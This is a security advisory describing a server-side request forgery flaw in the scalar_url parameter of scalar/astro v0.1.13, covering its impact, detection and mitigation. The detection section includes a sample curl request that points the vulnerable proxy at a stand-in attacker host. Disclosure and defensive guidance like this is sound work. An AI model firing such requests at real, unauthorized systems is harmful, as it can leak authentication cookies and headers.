Executive Summary

The vulnerability in scalar/astro v0.1.13 is a Server-Side Request Forgery (SSRF) found in the scalar_url query parameter of the Scalar Proxy endpoint.

This flaw allows unauthenticated attackers to make the backend server send HTTP requests to URLs controlled by the attacker.

As a result, attackers can expose authentication cookies and headers, which may lead to privilege escalation.

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Compliance Impact

The vulnerability in scalar/astro v0.1.13 allows unauthenticated attackers to expose authentication cookies and headers, and potentially escalate privileges. Such exposure of sensitive authentication data could lead to unauthorized access to protected information.

This kind of unauthorized access and data exposure may impact compliance with standards and regulations like GDPR and HIPAA, which require protection of personal and sensitive data against unauthorized access and breaches.

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Impact Analysis

This vulnerability can impact you by allowing attackers to gain unauthorized access to sensitive authentication information such as cookies and headers.

With this information, attackers might escalate their privileges within the system, potentially compromising the security and integrity of your backend server.

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Detection Guidance

Detection of this SSRF vulnerability involves monitoring for unusual HTTP requests originating from the backend server to attacker-controlled URLs, especially those involving the scalar_url query parameter in the Scalar Proxy endpoint.

You can use network monitoring tools or web server logs to identify suspicious outbound requests. Additionally, the GitHub repository linked provides resources that may help in detection or exploitation testing.

• Use curl or wget commands to test the scalar_url parameter by sending crafted requests and observing server behavior.
• Example curl command to test the vulnerability: curl -v 'http://<target>/scalar_proxy?scalar_url=http://attacker.com'
• Monitor backend server logs for unexpected outbound HTTP requests to external or attacker-controlled domains.

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Mitigation Strategies

Immediate mitigation steps include restricting or validating the scalar_url parameter to prevent SSRF attacks.

Implement input validation and sanitization to ensure that only allowed URLs or internal addresses can be requested by the backend.

Additionally, apply network-level controls such as firewall rules to block outbound requests from the backend server to untrusted external addresses.

Review and update the scalar/astro application to a patched version once available.

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